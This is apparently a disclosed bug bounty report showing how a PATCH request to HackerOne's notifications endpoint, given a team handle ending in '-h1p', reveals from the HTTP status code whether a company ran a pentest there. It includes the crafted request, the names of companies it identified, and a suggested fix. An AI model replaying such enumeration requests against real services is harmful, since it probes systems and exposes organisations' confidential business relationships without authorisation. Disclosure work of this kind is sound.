Enumerating HackerOne Pentests

How it was found

Summary:

An attacker can enumerate companies that performed pentests using the HackerOne platform.

Steps To Reproduce:

HackerOne pentests usually have an alias ending in -h1p. We will use the HTTP Request below to enumerate pentests (update X-CSRF-Token, Cookie, and context[team_handle]).

PATCH /notifications HTTP/1.1
Host: hackerone.com
X-CSRF-Token: *****************
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 124
Cookie: *****************

context%5Bteam_handle%5D=*************-h1p&context%5Bsubtype%5D=structured_scope_change&context%5Btype%5D=team&context%5Bunread%5D=false

Responses:

HTTP 200 - Pentest exists. HTTP 500 - Pentest doesn't exist.

███

Companies that performed pentests using the HackerOne platform:

Socialchorus Lookout Hackerone LogDNA Blueboard Capitalize

Companies that didn't perform pentests using the HackerOne platform:

Snapchat Facebook Google SalesForce

Recommendation:

Don't allow enumeration of programs' aliases. Add a short random string at the end of a pentests alias (e.g.: hackerone-h1p-xrfg).

Impact

An attacker can enumerate companies that used HackerOne platform to conduct pentests.